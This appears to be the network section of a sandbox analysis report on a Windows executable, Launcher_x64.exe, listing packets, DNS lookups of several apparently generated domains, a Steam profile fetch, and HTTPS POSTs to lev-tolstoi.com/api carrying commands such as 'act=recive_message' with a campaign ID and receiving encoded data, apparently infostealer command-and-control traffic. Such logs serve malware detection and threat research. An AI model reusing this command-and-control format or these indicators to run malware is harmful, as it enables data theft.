Dec 23, 2024 01:18:28.980712891 CET	49807	443	192.168.2.4	172.67.157.254
Dec 23, 2024 01:18:28.980721951 CET	443	49807	172.67.157.254	192.168.2.4
Dec 23, 2024 01:18:28.980990887 CET	443	49807	172.67.157.254	192.168.2.4
Dec 23, 2024 01:18:29.008923054 CET	49807	443	192.168.2.4	172.67.157.254
Dec 23, 2024 01:18:29.010057926 CET	49807	443	192.168.2.4	172.67.157.254
Dec 23, 2024 01:18:29.010097027 CET	443	49807	172.67.157.254	192.168.2.4
Dec 23, 2024 01:18:29.010195971 CET	49807	443	192.168.2.4	172.67.157.254
Dec 23, 2024 01:18:29.010229111 CET	443	49807	172.67.157.254	192.168.2.4
Dec 23, 2024 01:18:29.010339022 CET	49807	443	192.168.2.4	172.67.157.254
Dec 23, 2024 01:18:29.010370970 CET	443	49807	172.67.157.254	192.168.2.4
Dec 23, 2024 01:18:29.010497093 CET	49807	443	192.168.2.4	172.67.157.254
Dec 23, 2024 01:18:29.010520935 CET	443	49807	172.67.157.254	192.168.2.4
Dec 23, 2024 01:18:29.010656118 CET	49807	443	192.168.2.4	172.67.157.254
Dec 23, 2024 01:18:29.010691881 CET	443	49807	172.67.157.254	192.168.2.4
Dec 23, 2024 01:18:29.010833979 CET	49807	443	192.168.2.4	172.67.157.254
Dec 23, 2024 01:18:29.010864019 CET	443	49807	172.67.157.254	192.168.2.4
Dec 23, 2024 01:18:29.010870934 CET	49807	443	192.168.2.4	172.67.157.254
Dec 23, 2024 01:18:29.011023998 CET	49807	443	192.168.2.4	172.67.157.254
Dec 23, 2024 01:18:29.011045933 CET	49807	443	192.168.2.4	172.67.157.254
Dec 23, 2024 01:18:29.055330038 CET	443	49807	172.67.157.254	192.168.2.4
Dec 23, 2024 01:18:29.055540085 CET	49807	443	192.168.2.4	172.67.157.254
Dec 23, 2024 01:18:29.055588961 CET	49807	443	192.168.2.4	172.67.157.254
Dec 23, 2024 01:18:29.055603981 CET	49807	443	192.168.2.4	172.67.157.254
Dec 23, 2024 01:18:29.103341103 CET	443	49807	172.67.157.254	192.168.2.4
Dec 23, 2024 01:18:29.103502989 CET	49807	443	192.168.2.4	172.67.157.254
Dec 23, 2024 01:18:29.103535891 CET	49807	443	192.168.2.4	172.67.157.254
Dec 23, 2024 01:18:29.103564978 CET	49807	443	192.168.2.4	172.67.157.254
Dec 23, 2024 01:18:29.151324987 CET	443	49807	172.67.157.254	192.168.2.4
Dec 23, 2024 01:18:29.151442051 CET	49807	443	192.168.2.4	172.67.157.254
Dec 23, 2024 01:18:29.199362040 CET	443	49807	172.67.157.254	192.168.2.4
Dec 23, 2024 01:18:29.250437975 CET	443	49807	172.67.157.254	192.168.2.4
Dec 23, 2024 01:18:31.893049955 CET	443	49807	172.67.157.254	192.168.2.4
Dec 23, 2024 01:18:31.893165112 CET	443	49807	172.67.157.254	192.168.2.4
Dec 23, 2024 01:18:31.893332958 CET	49807	443	192.168.2.4	172.67.157.254
Dec 23, 2024 01:18:31.893415928 CET	49807	443	192.168.2.4	172.67.157.254
Dec 23, 2024 01:18:31.893434048 CET	443	49807	172.67.157.254	192.168.2.4
Dec 23, 2024 01:18:31.945293903 CET	49818	443	192.168.2.4	172.67.157.254
Dec 23, 2024 01:18:31.945348978 CET	443	49818	172.67.157.254	192.168.2.4
Dec 23, 2024 01:18:31.945453882 CET	49818	443	192.168.2.4	172.67.157.254
Dec 23, 2024 01:18:31.945777893 CET	49818	443	192.168.2.4	172.67.157.254
Dec 23, 2024 01:18:31.945826054 CET	443	49818	172.67.157.254	192.168.2.4
Dec 23, 2024 01:18:32.629371881 CET	49818	443	192.168.2.4	172.67.157.254

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 23, 2024 01:17:04.741497040 CET	61902	53	192.168.2.4	1.1.1.1
Dec 23, 2024 01:17:04.983486891 CET	53	61902	1.1.1.1	192.168.2.4
Dec 23, 2024 01:17:04.986202955 CET	60607	53	192.168.2.4	1.1.1.1
Dec 23, 2024 01:17:05.254189014 CET	53	60607	1.1.1.1	192.168.2.4
Dec 23, 2024 01:17:36.644941092 CET	59571	53	192.168.2.4	1.1.1.1
Dec 23, 2024 01:17:37.035268068 CET	53	59571	1.1.1.1	192.168.2.4
Dec 23, 2024 01:18:08.627518892 CET	54791	53	192.168.2.4	1.1.1.1
Dec 23, 2024 01:18:08.932070017 CET	53	54791	1.1.1.1	192.168.2.4
Dec 23, 2024 01:18:08.936219931 CET	58575	53	192.168.2.4	1.1.1.1
Dec 23, 2024 01:18:09.160857916 CET	53	58575	1.1.1.1	192.168.2.4
Dec 23, 2024 01:18:09.164871931 CET	50730	53	192.168.2.4	1.1.1.1
Dec 23, 2024 01:18:09.413908005 CET	53	50730	1.1.1.1	192.168.2.4
Dec 23, 2024 01:18:09.417371988 CET	52000	53	192.168.2.4	1.1.1.1
Dec 23, 2024 01:18:09.804028034 CET	53	52000	1.1.1.1	192.168.2.4
Dec 23, 2024 01:18:09.807132959 CET	55811	53	192.168.2.4	1.1.1.1
Dec 23, 2024 01:18:10.026997089 CET	53	55811	1.1.1.1	192.168.2.4
Dec 23, 2024 01:18:10.029934883 CET	58580	53	192.168.2.4	1.1.1.1
Dec 23, 2024 01:18:10.279098988 CET	53	58580	1.1.1.1	192.168.2.4
Dec 23, 2024 01:18:10.282677889 CET	50422	53	192.168.2.4	1.1.1.1
Dec 23, 2024 01:18:10.420705080 CET	53	50422	1.1.1.1	192.168.2.4
Dec 23, 2024 01:18:12.832012892 CET	61087	53	192.168.2.4	1.1.1.1
Dec 23, 2024 01:18:13.051553011 CET	53	61087	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 23, 2024 01:17:04.741497040 CET	192.168.2.4	1.1.1.1	0xcb77	Standard query (0)	bellflamre.click	A (IP address)	IN (0x0001)	false
Dec 23, 2024 01:17:04.986202955 CET	192.168.2.4	1.1.1.1	0x27e7	Standard query (0)	sendypaster.xyz	A (IP address)	IN (0x0001)	false
Dec 23, 2024 01:17:36.644941092 CET	192.168.2.4	1.1.1.1	0x3be8	Standard query (0)	steppriflej.xyz	A (IP address)	IN (0x0001)	false
Dec 23, 2024 01:18:08.627518892 CET	192.168.2.4	1.1.1.1	0x46dc	Standard query (0)	greywe-snotty.cyou	A (IP address)	IN (0x0001)	false
Dec 23, 2024 01:18:08.936219931 CET	192.168.2.4	1.1.1.1	0x14e2	Standard query (0)	supporse-comment.cyou	A (IP address)	IN (0x0001)	false
Dec 23, 2024 01:18:09.164871931 CET	192.168.2.4	1.1.1.1	0x27f1	Standard query (0)	smash-boiling.cyou	A (IP address)	IN (0x0001)	false
Dec 23, 2024 01:18:09.417371988 CET	192.168.2.4	1.1.1.1	0xbbb7	Standard query (0)	ripe-blade.cyou	A (IP address)	IN (0x0001)	false
Dec 23, 2024 01:18:09.807132959 CET	192.168.2.4	1.1.1.1	0xb5f7	Standard query (0)	hosue-billowy.cyou	A (IP address)	IN (0x0001)	false
Dec 23, 2024 01:18:10.029934883 CET	192.168.2.4	1.1.1.1	0x335b	Standard query (0)	pollution-raker.cyou	A (IP address)	IN (0x0001)	false
Dec 23, 2024 01:18:10.282677889 CET	192.168.2.4	1.1.1.1	0xf65e	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Dec 23, 2024 01:18:12.832012892 CET	192.168.2.4	1.1.1.1	0x2885	Standard query (0)	lev-tolstoi.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 23, 2024 01:17:04.983486891 CET	1.1.1.1	192.168.2.4	0xcb77	Name error (3)	bellflamre.click	none	none	A (IP address)	IN (0x0001)	false
Dec 23, 2024 01:17:05.254189014 CET	1.1.1.1	192.168.2.4	0x27e7	No error (0)	sendypaster.xyz		193.143.1.9	A (IP address)	IN (0x0001)	false
Dec 23, 2024 01:17:37.035268068 CET	1.1.1.1	192.168.2.4	0x3be8	No error (0)	steppriflej.xyz		193.143.1.9	A (IP address)	IN (0x0001)	false
Dec 23, 2024 01:18:08.932070017 CET	1.1.1.1	192.168.2.4	0x46dc	Name error (3)	greywe-snotty.cyou	none	none	A (IP address)	IN (0x0001)	false
Dec 23, 2024 01:18:09.160857916 CET	1.1.1.1	192.168.2.4	0x14e2	Name error (3)	supporse-comment.cyou	none	none	A (IP address)	IN (0x0001)	false
Dec 23, 2024 01:18:09.413908005 CET	1.1.1.1	192.168.2.4	0x27f1	Name error (3)	smash-boiling.cyou	none	none	A (IP address)	IN (0x0001)	false
Dec 23, 2024 01:18:09.804028034 CET	1.1.1.1	192.168.2.4	0xbbb7	Name error (3)	ripe-blade.cyou	none	none	A (IP address)	IN (0x0001)	false
Dec 23, 2024 01:18:10.026997089 CET	1.1.1.1	192.168.2.4	0xb5f7	Name error (3)	hosue-billowy.cyou	none	none	A (IP address)	IN (0x0001)	false
Dec 23, 2024 01:18:10.279098988 CET	1.1.1.1	192.168.2.4	0x335b	Name error (3)	pollution-raker.cyou	none	none	A (IP address)	IN (0x0001)	false
Dec 23, 2024 01:18:10.420705080 CET	1.1.1.1	192.168.2.4	0xf65e	No error (0)	steamcommunity.com		23.55.153.106	A (IP address)	IN (0x0001)	false
Dec 23, 2024 01:18:13.051553011 CET	1.1.1.1	192.168.2.4	0x2885	No error (0)	lev-tolstoi.com		172.67.157.254	A (IP address)	IN (0x0001)	false
Dec 23, 2024 01:18:13.051553011 CET	1.1.1.1	192.168.2.4	0x2885	No error (0)	lev-tolstoi.com		104.21.66.86	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

steamcommunity.com

lev-tolstoi.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49765	23.55.153.106	443	3336	C:\Users\user\Desktop\Launcher_x64.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 00:18:11 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-12-23 00:18:12 UTC	1905	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq. [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Mon, 23 Dec 2024 00:18:12 GMT Content-Length: 35121 Connection: close Set-Cookie: sessionid=3ea8fdf0261ff897b4cc175e; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7C185ce35c568ebbb18a145d0cabae7186; Path=/; Secure; HttpOnly; SameSite=None
2024-12-23 00:18:12 UTC	14479	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0a 09 09 3c 74 69 74 6c 65 3e Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><title>
2024-12-23 00:18:12 UTC	10097	IN	Data Raw: 2e 63 6f 6d 2f 3f 73 75 62 73 65 63 74 69 6f 6e 3d 62 72 6f 61 64 63 61 73 74 73 22 3e 0a 09 09 09 09 09 09 42 72 6f 61 64 63 61 73 74 73 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 6d 65 6e 75 69 74 65 6d 20 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 6f 72 65 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 61 62 6f 75 74 2f 22 3e 0a 09 09 09 09 41 62 6f 75 74 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 6d 65 6e 75 69 74 65 6d 20 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 65 6c 70 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 65 6e 2f 22 3e 0a 09 09 09 09 53 55 50 50 4f 52 54 09 Data Ascii: .com/?subsection=broadcasts">Broadcasts</a></div><a class="menuitem " href="https://store.steampowered.com/about/">About</a><a class="menuitem " href="https://help.steampowered.com/en/">SUPPORT
2024-12-23 00:18:12 UTC	10545	IN	Data Raw: 4e 49 56 45 52 53 45 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 70 75 62 6c 69 63 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 4c 41 4e 47 55 41 47 45 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 65 6e 67 6c 69 73 68 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 43 4f 55 4e 54 52 59 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 55 53 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 4d 45 44 49 41 5f 43 44 4e 5f 43 4f 4d 4d 55 4e 49 54 59 5f 55 52 4c 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 68 74 74 70 73 3a 5c 2f 5c 2f 63 64 6e 2e 66 61 73 74 6c 79 2e 73 74 65 61 6d 73 74 61 74 69 63 2e 63 6f 6d 5c 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 5c 2f 70 75 62 6c 69 63 5c 2f 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 4d 45 44 49 41 5f 43 44 4e 5f 55 52 4c 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 68 74 74 Data Ascii: NIVERSE":"public","LANGUAGE":"english","COUNTRY":"US","MEDIA_CDN_COMMUNITY_URL":"https:\/\/cdn.fastly.steamstatic.com\/steamcommunity\/public\/","MEDIA_CDN_URL":"htt

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49772	172.67.157.254	443	3336	C:\Users\user\Desktop\Launcher_x64.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 00:18:14 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: lev-tolstoi.com
2024-12-23 00:18:14 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-23 00:18:14 UTC	1125	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 00:18:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=bg7k022palm5stn4uchqn6pegj; expires=Thu, 17 Apr 2025 18:04:53 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5cM3xwq5FCdfb8%2FHcrePTJpCqOKJ%2FEGMe7QzVqQNO0t3icEd2N3TyAJ%2FwdXbkIDblQTpLZksui0ZFf9YuEQzJkcefWHejexefjBnn59YAF7iU7sBprnserX8kTUA%2Bq9c2L8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f642c594e0d18ee-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1581&min_rtt=1510&rtt_var=617&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2835&recv_bytes=906&delivery_rate=1933774&cwnd=144&unsent_bytes=0&cid=4c826c2826ebe78d&ts=645&x=0"
2024-12-23 00:18:14 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-23 00:18:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49777	172.67.157.254	443	3336	C:\Users\user\Desktop\Launcher_x64.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 00:18:16 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 54 Host: lev-tolstoi.com
2024-12-23 00:18:16 UTC	54	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 50 6e 68 71 6f 2d 2d 73 77 65 74 61 6d 75 62 63 6f 79 75 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LPnhqo--swetamubcoyu&j=
2024-12-23 00:18:17 UTC	1131	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 00:18:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=iia9ljn4vdlq40nhagf926mjm7; expires=Thu, 17 Apr 2025 18:04:55 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gTEpDFcEKp2FhjbFZdndkNXFzEq26do8wy3fvmVgUwuWpcaKs4U7NZnzAc%2B0meo%2F%2BA%2FBaU1615NDezVe6yxZQyF%2FTdY5Q64ZBULLuqZsndZ5gwgTskmc8FO3kq%2Fo%2F33sPLE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f642c653b39de95-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1440&min_rtt=1432&rtt_var=554&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2836&recv_bytes=953&delivery_rate=1945369&cwnd=240&unsent_bytes=0&cid=7bba36951ca18bcc&ts=790&x=0"
2024-12-23 00:18:17 UTC	238	IN	Data Raw: 34 39 31 63 0d 0a 45 44 55 41 4c 57 64 38 2b 51 6e 45 34 77 44 30 55 74 56 38 78 4e 69 73 62 45 45 44 6b 69 70 42 35 51 37 77 4f 51 30 4c 6d 63 78 72 46 33 59 50 58 55 6a 56 4b 37 65 47 49 73 34 6d 70 77 6d 68 39 49 34 4e 4a 53 47 6f 54 43 43 4a 66 5a 55 56 4c 33 33 30 37 69 70 54 59 55 45 55 47 64 55 72 6f 5a 73 69 7a 67 6d 75 58 71 47 32 6a 6c 5a 6a 5a 76 68 49 49 49 6c 73 6b 56 4a 69 65 2f 57 76 65 46 6c 6e 52 51 49 66 6e 57 69 6f 6a 6d 57 52 4e 37 51 57 71 72 48 42 42 43 77 68 76 67 67 6b 6e 79 7a 4b 47 30 42 75 37 61 31 64 56 48 4e 47 52 51 48 56 63 75 61 47 62 74 5a 6f 39 78 32 68 75 73 41 4b 4a 57 6a 36 51 69 6d 42 62 5a 52 54 66 57 4c 2f 70 48 68 58 5a 45 51 49 46 6f 6c 6c 6f 6f 6c 75 6c 7a 32 30 Data Ascii: 491cEDUALWd8+QnE4wD0UtV8xNisbEEDkipB5Q7wOQ0LmcxrF3YPXUjVK7eGIs4mpwmh9I4NJSGoTCCJfZUVL3307ipTYUEUGdUroZsizgmuXqG2jlZjZvhIIIlskVJie/WveFlnRQIfnWiojmWRN7QWqrHBBCwhvggknyzKG0Bu7a1dVHNGRQHVcuaGbtZo9x2husAKJWj6QimBbZRTfWL/pHhXZEQIFolloolulz20
2024-12-23 00:18:17 UTC	1369	IN	Data Raw: 58 75 6a 36 79 52 5a 6a 4f 62 41 62 45 59 52 39 67 30 35 69 65 66 33 75 62 52 6c 37 44 77 49 53 32 7a 50 6d 69 57 36 59 4e 62 51 52 6f 62 76 4f 48 43 78 68 38 30 41 72 67 32 61 64 56 47 42 6e 38 61 6c 36 58 6d 56 41 41 68 61 64 5a 4b 58 42 4c 4e 59 33 72 31 37 2b 2b 75 34 65 49 47 4c 6b 52 54 4c 48 63 39 78 43 4c 32 37 33 37 69 6f 58 5a 45 45 45 45 35 74 35 72 6f 70 70 6b 79 4b 38 46 36 75 33 7a 67 4d 70 62 76 4e 49 4a 49 31 6d 6e 56 46 72 5a 50 61 6f 63 6c 63 69 41 55 55 5a 67 79 76 2b 77 55 47 54 49 4c 41 53 73 50 6a 30 54 6a 77 76 36 51 67 6b 69 79 7a 4b 47 32 64 73 2b 4b 31 35 57 47 46 48 44 67 79 62 65 61 43 4d 5a 34 51 32 73 68 43 73 75 64 77 45 4c 57 66 7a 51 53 69 4f 61 5a 56 66 4c 79 65 37 71 57 6f 58 4f 67 38 6b 45 35 42 6e 72 4a 5a 69 31 69 2f Data Ascii: Xuj6yRZjObAbEYR9g05ief3ubRl7DwIS2zPmiW6YNbQRobvOHCxh80Arg2adVGBn8al6XmVAAhadZKXBLNY3r17++u4eIGLkRTLHc9xCL2737ioXZEEEE5t5roppkyK8F6u3zgMpbvNIJI1mnVFrZPaoclciAUUZgyv+wUGTILASsPj0Tjwv6QgkiyzKG2ds+K15WGFHDgybeaCMZ4Q2shCsudwELWfzQSiOaZVfLye7qWoXOg8kE5BnrJZi1i/
2024-12-23 00:18:17 UTC	1369	IN	Data Raw: 74 77 43 4b 57 66 2f 52 53 2f 48 49 74 4a 63 64 79 6d 6a 37 6c 68 55 64 6b 77 50 58 4b 35 6f 71 49 39 6c 67 48 43 6f 55 4c 2f 36 79 51 4a 6a 4f 62 42 46 49 6f 39 71 67 46 52 69 61 76 57 67 66 56 4a 74 52 77 55 65 6c 6d 36 69 69 6d 6d 56 50 62 4d 4d 72 4c 72 47 43 79 4a 72 2b 67 68 74 78 32 75 4b 47 7a 63 70 79 72 6c 35 46 56 64 4d 43 78 43 63 66 65 61 65 4c 49 39 77 73 42 4c 6d 34 6f 34 44 4b 32 54 31 52 79 4b 4e 59 70 64 52 59 32 48 31 72 57 42 59 5a 6b 38 4a 46 70 46 6d 71 49 56 71 6e 7a 75 38 47 4b 61 37 78 45 35 74 49 66 64 51 59 39 38 73 70 6c 78 6a 5a 50 54 73 52 31 52 73 51 51 49 49 32 33 54 6f 6d 43 4b 52 50 50 64 47 35 72 62 48 44 69 68 72 39 45 67 6b 69 6d 6d 52 58 47 78 6b 2f 4b 52 38 55 47 5a 44 44 42 4f 64 61 36 47 46 5a 34 51 31 76 68 4b 71 Data Ascii: twCKWf/RS/HItJcdymj7lhUdkwPXK5oqI9lgHCoUL/6yQJjObBFIo9qgFRiavWgfVJtRwUelm6iimmVPbMMrLrGCyJr+ghtx2uKGzcpyrl5FVdMCxCcfeaeLI9wsBLm4o4DK2T1RyKNYpdRY2H1rWBYZk8JFpFmqIVqnzu8GKa7xE5tIfdQY98splxjZPTsR1RsQQII23TomCKRPPdG5rbHDihr9EgkimmRXGxk/KR8UGZDDBOda6GFZ4Q1vhKq
2024-12-23 00:18:17 UTC	1369	IN	Data Raw: 55 68 37 77 59 36 78 32 75 65 47 7a 63 70 38 71 64 67 57 57 78 47 43 42 69 54 62 4b 69 4d 61 5a 41 37 73 42 6d 67 74 38 59 44 4a 6d 4c 78 54 43 6d 56 62 35 6c 52 59 6d 4f 37 34 44 4a 51 65 67 39 64 58 72 78 6e 6a 35 46 35 68 43 62 33 41 65 69 6a 6a 67 6b 76 49 61 67 49 49 49 68 6c 6e 56 4e 6e 5a 76 53 71 66 46 46 6b 51 67 41 52 6b 58 6d 75 6a 32 2b 64 50 37 77 4d 70 72 66 4b 41 69 64 70 2b 30 4a 6a 79 53 79 56 51 79 38 78 75 35 74 2f 57 47 4a 4d 45 31 36 45 4a 62 2f 42 5a 5a 70 77 37 31 36 71 74 4d 34 42 4c 32 33 37 51 43 4b 4c 59 70 56 65 5a 6d 48 7a 76 48 4e 54 61 6b 34 4c 45 5a 70 76 6f 34 52 6d 6b 54 53 78 45 65 62 30 6a 67 6b 37 49 61 67 49 44 4b 42 5a 30 48 70 56 4b 65 54 67 61 78 64 6c 51 30 56 47 32 32 65 6c 6a 57 71 5a 4e 72 34 53 72 4c 50 46 41 Data Ascii: Uh7wY6x2ueGzcp8qdgWWxGCBiTbKiMaZA7sBmgt8YDJmLxTCmVb5lRYmO74DJQeg9dXrxnj5F5hCb3AeijjgkvIagIIIhlnVNnZvSqfFFkQgARkXmuj2+dP7wMprfKAidp+0JjySyVQy8xu5t/WGJME16EJb/BZZpw716qtM4BL237QCKLYpVeZmHzvHNTak4LEZpvo4RmkTSxEeb0jgk7IagIDKBZ0HpVKeTgaxdlQ0VG22eljWqZNr4SrLPFA
2024-12-23 00:18:17 UTC	1369	IN	Data Raw: 4c 4a 34 4a 6a 6b 31 70 70 65 2f 79 6e 59 46 6c 76 51 41 30 57 6b 6d 71 69 68 47 2b 51 50 4c 30 66 6f 62 54 41 42 6d 4d 76 73 45 38 37 78 7a 54 53 65 6e 39 79 36 62 68 2f 64 6d 39 41 52 51 48 56 63 75 61 47 62 74 5a 6f 39 78 65 30 76 73 4d 63 4b 6d 62 2b 52 79 43 56 62 5a 39 51 66 57 37 30 71 6e 56 62 5a 45 41 44 48 35 35 68 71 6f 5a 6e 6e 54 2b 37 58 75 6a 36 79 52 5a 6a 4f 62 42 6d 4b 4a 52 37 6b 56 56 6b 66 2b 44 75 62 52 6c 37 44 77 49 53 32 7a 50 6d 67 6d 6d 64 4e 4c 63 53 70 72 37 44 44 6a 46 75 39 30 38 71 6a 48 36 59 58 47 68 69 38 36 56 39 55 58 42 44 43 77 79 65 65 62 54 42 4c 4e 59 33 72 31 37 2b 2b 76 67 4a 4d 33 48 7a 43 68 4b 52 62 34 52 51 59 6d 57 37 73 54 78 4f 49 6b 67 4a 58 73 4d 72 6f 49 35 72 6c 54 2b 32 46 36 71 33 79 77 63 6d 59 50 Data Ascii: LJ4Jjk1ppe/ynYFlvQA0WkmqihG+QPL0fobTABmMvsE87xzTSen9y6bh/dm9ARQHVcuaGbtZo9xe0vsMcKmb+RyCVbZ9QfW70qnVbZEADH55hqoZnnT+7Xuj6yRZjObBmKJR7kVVkf+DubRl7DwIS2zPmgmmdNLcSpr7DDjFu908qjH6YXGhi86V9UXBDCwyeebTBLNY3r17++vgJM3HzChKRb4RQYmW7sTxOIkgJXsMroI5rlT+2F6q3ywcmYP
